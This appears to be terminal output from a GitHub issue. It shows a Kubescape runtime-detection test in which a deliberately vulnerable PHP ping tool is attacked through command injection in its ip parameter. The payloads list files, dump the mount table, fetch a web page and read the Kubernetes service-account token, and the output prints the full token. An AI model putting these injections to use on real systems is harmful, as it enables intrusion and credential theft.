runtimerulealertbinding.kubescape.io/all-rules-all-pods configured
sleep 5
kubectl rollout restart -n honey ds node-agent
daemonset.apps/node-agent restarted
kubectl wait --for=condition=ready pod -l app=kubevuln -n honey --timeout 120s
error: timed out waiting for the condition on pods/kubevuln-8599f7479c-ddjl7
make: [kubescape] Error 1 (ignored)
kubectl wait --for=condition=ready pod -l app=node-agent -n honey --timeout 120s
pod/node-agent-rp98g condition met
pod/node-agent-xxzj4 condition metmake storage
kubectl apply -f https://openebs.github.io/charts/openebs-operator-lite.yaml
namespace/openebs created
serviceaccount/openebs-maya-operator created
clusterrole.rbac.authorization.k8s.io/openebs-maya-operator created
clusterrolebinding.rbac.authorization.k8s.io/openebs-maya-operator created
customresourcedefinition.apiextensions.k8s.io/blockdevices.openebs.io created
customresourcedefinition.apiextensions.k8s.io/blockdeviceclaims.openebs.io created
configmap/openebs-ndm-config created
daemonset.apps/openebs-ndm created
deployment.apps/openebs-ndm-operator created
deployment.apps/openebs-ndm-cluster-exporter created
service/openebs-ndm-cluster-exporter-service created
daemonset.apps/openebs-ndm-node-exporter created
service/openebs-ndm-node-exporter-service created
deployment.apps/openebs-localpv-provisioner created
kubectl apply -f https://openebs.github.io/charts/openebs-lite-sc.yaml
storageclass.storage.k8s.io/openebs-hostpath created
storageclass.storage.k8s.io/openebs-device created
kubectl apply -f kubescape/storage/sc.yaml
storageclass.storage.k8s.io/local-hostpath created
kubectl patch storageclass local-hostpath -p '{"metadata": {"annotations":{"storageclass.kubernetes.io/is-default-class":"true"}}}'
storageclass.storage.k8s.io/local-hostpath patchedhelm upgrade --install webapp example/mywebapp-chart --namespace webapp --create-namespace --values example/mywebapp-chart/values.yaml
Release "webapp" does not exist. Installing it now.
NAME: webapp
LAST DEPLOYED: Tue Oct 14 10:52:07 2025
NAMESPACE: webapp
STATUS: deployed
REVISION: 1
NOTES:
Your webapp-mywebapp application is now deployed.
To access your application, you can use port-forwarding:
export POD_NAME=$(kubectl get pods --namespace webapp -l "app.kubernetes.io/name=mywebapp,app.kubernetes.io/instance=webapp" -o jsonpath="{.items[0].metadata.name}")kubectl --namespace webapp port-forward $(kubectl get pods --namespace webapp -l "app.kubernetes.io/name=mywebapp,app.kubernetes.io/instance=webapp" -o jsonpath="{.items[0].metadata.name}") 8080:80 &
[1] 5041
➜ bob git:(main) Forwarding from 127.0.0.1:8080 -> 80
Forwarding from [::1]:8080 -> 80
Handling connection for 8080
Handling connection for 8080
Handling connection for 8080
Handling connection for 8080
Handling connection for 8080
Handling connection for 8080
Handling connection for 8080
Handling connection for 8080
Handling connection for 8080
Handling connection for 8080➜ bob git:(main) make attack
curl "127.0.0.1:8080/ping.php?ip=1.1.1.1\;ls"
<pre><strong>Ping results for 1.1.1.1\;ls:</strong><br></pre><strong>Return status:</strong> 2curl "127.0.0.1:8080/ping.php?ip=1.1.1.1%3Bcat%20/proc/self/mounts"
<pre><strong>Ping results for 1.1.1.1;cat /proc/self/mounts:</strong><br>PING 1.1.1.1 (1.1.1.1) 56(84) bytes of data.<br><span style='color: #4caf50;'>64 bytes from 1.1.1.1: icmp_seq=1 ttl=60 time=5.49 ms</span><br><span style='color: #4caf50;'>64 bytes from 1.1.1.1: icmp_seq=2 ttl=60 time=5.19 ms</span><br><span style='color: #4caf50;'>64 bytes from 1.1.1.1: icmp_seq=3 ttl=60 time=5.15 ms</span><br><span style='color: #4caf50;'>64 bytes from 1.1.1.1: icmp_seq=4 ttl=60 time=5.13 ms</span><br><br>--- 1.1.1.1 ping statistics ---<br>4 packets transmitted, 4 received, 0% packet loss, time 3003ms<br>rtt min/avg/max/mdev = 5.126/5.240/5.493/0.147 ms<br>overlay / overlay rw,relatime,lowerdir=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/244/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/243/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/242/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/241/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/240/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/239/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/238/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/237/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/236/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/235/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/234/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/233/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/232/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/231/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/230/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/229/fs,upperdir=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/245/fs,workdir=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/245/work,uuid=on 0 0<br>proc /proc proc rw,nosuid,nodev,noexec,relatime 0 0<br>tmpfs /dev tmpfs rw,nosuid,size=65536k,mode=755,inode64 0 0<br>devpts /dev/pts devpts rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=666 0 0<br>mqueue /dev/mqueue mqueue rw,nosuid,nodev,noexec,relatime 0 0<br>sysfs /sys sysfs ro,nosuid,nodev,noexec,relatime 0 0<br>cgroup /sys/fs/cgroup cgroup2 ro,nosuid,nodev,noexec,relatime 0 0<br>/dev/sda3 /etc/hosts ext4 rw,relatime,discard,prjquota,errors=remount-ro,mb_optimize_scan=0 0 0<br>/dev/sda3 /dev/termination-log ext4 rw,relatime,discard,prjquota,errors=remount-ro,mb_optimize_scan=0 0 0<br>/dev/sda3 /etc/hostname ext4 rw,relatime,discard,prjquota,errors=remount-ro,mb_optimize_scan=0 0 0<br>/dev/sda3 /etc/resolv.conf ext4 rw,relatime,discard,prjquota,errors=remount-ro,mb_optimize_scan=0 0 0<br>shm /dev/shm tmpfs rw,relatime,size=65536k,inode64 0 0<br>/dev/sda3 /host/var/log ext4 rw,relatime,discard,prjquota,errors=remount-ro,mb_optimize_scan=0 0 0<br>tmpfs /run/secrets/kubernetes.io/serviceaccount tmpfs ro,relatime,size=6469072k,inode64,noswap 0 0<br>proc /proc/bus proc ro,nosuid,nodev,noexec,relatime 0 0<br>proc /proc/fs proc ro,nosuid,nodev,noexec,relatime 0 0<br>proc /proc/irq proc ro,nosuid,nodev,noexec,relatime 0 0<br>proc /proc/sys proc ro,nosuid,nodev,noexec,relatime 0 0<br>tmpfs /proc/acpi tmpfs ro,relatime,inode64 0 0<br>tmpfs /proc/kcore tmpfs rw,nosuid,size=65536k,mode=755,inode64 0 0<br>tmpfs /proc/keys tmpfs rw,nosuid,size=65536k,mode=755,inode64 0 0<br>tmpfs /proc/timer_list tmpfs rw,nosuid,size=65536k,mode=755,inode64 0 0<br>tmpfs /sys/firmware tmpfs ro,relatime,inode64 0 0<br></pre><strong>Return status:</strong> 0curl "127.0.0.1:8080/ping.php?ip=1.1.1.1%3Bcat%20index.html"
<pre><strong>Ping results for 1.1.1.1;cat index.html:</strong><br>PING 1.1.1.1 (1.1.1.1) 56(84) bytes of data.<br><span style='color: #4caf50;'>64 bytes from 1.1.1.1: icmp_seq=1 ttl=60 time=5.28 ms</span><br><span style='color: #4caf50;'>64 bytes from 1.1.1.1: icmp_seq=2 ttl=60 time=5.15 ms</span><br><span style='color: #4caf50;'>64 bytes from 1.1.1.1: icmp_seq=3 ttl=60 time=5.11 ms</span><br><span style='color: #4caf50;'>64 bytes from 1.1.1.1: icmp_seq=4 ttl=60 time=5.10 ms</span><br><br>--- 1.1.1.1 ping statistics ---<br>4 packets transmitted, 4 received, 0% packet loss, time 3004ms<br>rtt min/avg/max/mdev = 5.095/5.158/5.277/0.071 ms<br><!DOCTYPE html><br><html lang="en"><br><head><br> <meta charset="UTF-8"><br> <meta http-equiv="X-UA-Compatible" content="IE=edge"><br> <meta name="viewport" content="width=device-width, initial-scale=1.0"><br> <title>IP Ping Tool</title><br> <style><br> body {<br> font-family: 'Arial', sans-serif;<br> background-color: #f4f4f4;<br> margin: 0;<br> padding: 0;<br> display: flex;<br> justify-content: center;<br> align-items: center;<br> height: 100vh;<br> }<br><br> h1 {<br> text-align: center;<br> color: #333;<br> }<br><br> form {<br> background-color: #fff;<br> padding: 20px;<br> border-radius: 8px;<br> box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);<br> width: 300px;<br> }<br><br> label {<br> display: block;<br> margin-bottom: 10px;<br> color: #555;<br> }<br><br> input {<br> width: 100%;<br> padding: 8px;<br> margin-bottom: 15px;<br> box-sizing: border-box;<br> border: 1px solid #ccc;<br> border-radius: 4px;<br> font-size: 14px;<br> }<br><br> button {<br> background-color: #4caf50;<br> color: #fff;<br> padding: 10px 15px;<br> border: none;<br> border-radius: 4px;<br> cursor: pointer;<br> font-size: 16px;<br> }<br><br> button:hover {<br> background-color: #45a049;<br> }<br><br> pre {<br> white-space: pre-wrap;<br> word-wrap: break-word;<br> }<br><br> .success {<br> color: #4caf50;<br> }<br> </style><br></head><br><body><br> <form action="ping.php" method="get"><br> <h1>Ping Tool</h1><br> <label for="ip">Enter IP Address:</label><br> <input type="text" id="ip" name="ip" autocomplete="off" required><br> <button type="submit">Ping</button><br> </form><br></body><br></html><br></pre><strong>Return status:</strong> 0curl "127.0.0.1:8080/ping.php?ip=1.1.1.1%3Bcurl%20github.com"
<pre><strong>Ping results for 1.1.1.1;curl github.com:</strong><br>PING 1.1.1.1 (1.1.1.1) 56(84) bytes of data.<br><span style='color: #4caf50;'>64 bytes from 1.1.1.1: icmp_seq=1 ttl=60 time=5.19 ms</span><br><span style='color: #4caf50;'>64 bytes from 1.1.1.1: icmp_seq=2 ttl=60 time=5.23 ms</span><br><span style='color: #4caf50;'>64 bytes from 1.1.1.1: icmp_seq=3 ttl=60 time=5.15 ms</span><br><span style='color: #4caf50;'>64 bytes from 1.1.1.1: icmp_seq=4 ttl=60 time=5.21 ms</span><br><br>--- 1.1.1.1 ping statistics ---<br>4 packets transmitted, 4 received, 0% packet loss, time 3003ms<br>rtt min/avg/max/mdev = 5.151/5.193/5.226/0.028 ms<br></pre><strong>Return status:</strong> 0curl "127.0.0.1:8080/ping.php?ip=1.1.1.1%3Bcat%20/run/secrets/kubernetes.io/serviceaccount/token"
<pre><strong>Ping results for 1.1.1.1;cat /run/secrets/kubernetes.io/serviceaccount/token:</strong><br>PING 1.1.1.1 (1.1.1.1) 56(84) bytes of data.<br><span style='color: #4caf50;'>64 bytes from 1.1.1.1: icmp_seq=1 ttl=60 time=5.21 ms</span><br><span style='color: #4caf50;'>64 bytes from 1.1.1.1: icmp_seq=2 ttl=60 time=5.10 ms</span><br><span style='color: #4caf50;'>64 bytes from 1.1.1.1: icmp_seq=3 ttl=60 time=5.15 ms</span><br><span style='color: #4caf50;'>64 bytes from 1.1.1.1: icmp_seq=4 ttl=60 time=5.10 ms</span><br><br>--- 1.1.1.1 ping statistics ---<br>4 packets transmitted, 4 received, 0% packet loss, time 3004ms<br>rtt min/avg/max/mdev = 5.102/5.141/5.210/0.044 ms<br>eyJhbGciOiJSUzI1NiIsImtpZCI6InUtSlA1b0I3eF9SNW1UeHhlQW1LQUltdXF3VEVheTZkMl80a0NrZzdIMEkifQ.eyJhdWQiOlsia3ViZXJuZXRlcyIsImdhcmRlbmVyIl0sImV4cCI6MTc5MTk2NzkyOCwiaWF0IjoxNzYwNDMxOTI4LCJpc3MiOiJodHRwczovL2FwaS5iaWxsb2ZiZWhhdmkuY28tZ29sZGVuLmludGVybmFsLmNhbmFyeS5rOHMub25kZW1hbmQuY29tIiwianRpIjoiNTAyNzJjN2EtN2YwZC00ZjI4LTgwY2UtN2I5NzMzMzliY2NmIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJ3ZWJhcHAiLCJub2RlIjp7Im5hbWUiOiJzaG9vdC0tY28tZ29sZGVuLS1iaWxsb2ZiZWhhdmktd29ya2VyLXc2NGl1LXoxLTU4YjZiLW5waGtkIiwidWlkIjoiMmRkZDYzZDQtYTJkNi00ZTExLWE0ZjgtMmNmZjA1YWY3YjM0In0sInBvZCI6eyJuYW1lIjoid2ViYXBwLW15d2ViYXBwLTY3OTY1OTY4YmItdmN4NHMiLCJ1aWQiOiIzNWRkZjY2NC1kYzJhLTQxMDAtOTUyMC1mYzdlOTgwODk0YzcifSwic2VydmljZWFjY291bnQiOnsibmFtZSI6ImRlZmF1bHQiLCJ1aWQiOiI4NGYwYTRjNC04ZGNiLTRlMDAtOTZkMC05OWQ0YTE4YTAzYmEifSwid2FybmFmdGVyIjoxNzYwNDM1NTM1fSwibmJmIjoxNzYwNDMxOTI4LCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6d2ViYXBwOmRlZmF1bHQifQ.lWwlzFo7iR4W-Qa8CMnDf4ONQ2Zw3weTvhnu7hhSuV3R3IfQCxY3DB96_wuAiZjbrxbKuTzPmi43N8Js7VUo_GXKA_LrOt5D6fio_2InhU645BpicQhVvaVE4TuggimBwxs90BNhRrxUqM8yqp5OnKjiyo363F62BnjHxCBSb7sKLA-dYkP7WhlnPWfSElaHWFGWsib4eAts3jpzYLiRptKiEn6GQs3UgpornyshkvgRcM6IUK_2hxJOD71n4pJ4BtnHcQmdswEJFLPNa9nDHp6R9GjBW67HVKW_q01APrqmaUiTPW2G27gY7xWbUKSt1na9DE_xluKtfTD7UAIP97OauMPjaHs8AoSifeupfAXuEHxvvwBAh_giGpHVilF6gBcewtVrEbxgiLfEY24gI-hUc5lNrbDPkLxmmjA4WzwWDMgVKmcMUjhH1dShVgAdtEvOrkC2uzUgtSrJ3dmDcuxwuYJo-94r-eBAKjbs5oSHZj5oAMd0wgjuNQ5_BZ7Z9fAbnz5DAmHUE7n5h3EPn8YWxKIqIlQrK5hSVn-G2IyfVHXd-mKU9UnHOgYqQBHTwkHUI2PwY1-e79MSyKOYHO-X784jGBozD2craV5URae8GP9QmedErjcOu4s5JuQ6GnF076BwZWZp0PSFP9o-ibIfrSpuaL4Z44_QqDwfJEo<br></pre><strong>Return status:</strong> 0sleep 10
^Cmake: *** [attack] Interrupt: 2
Metadata
Metadata
Assignees
Labels
No labels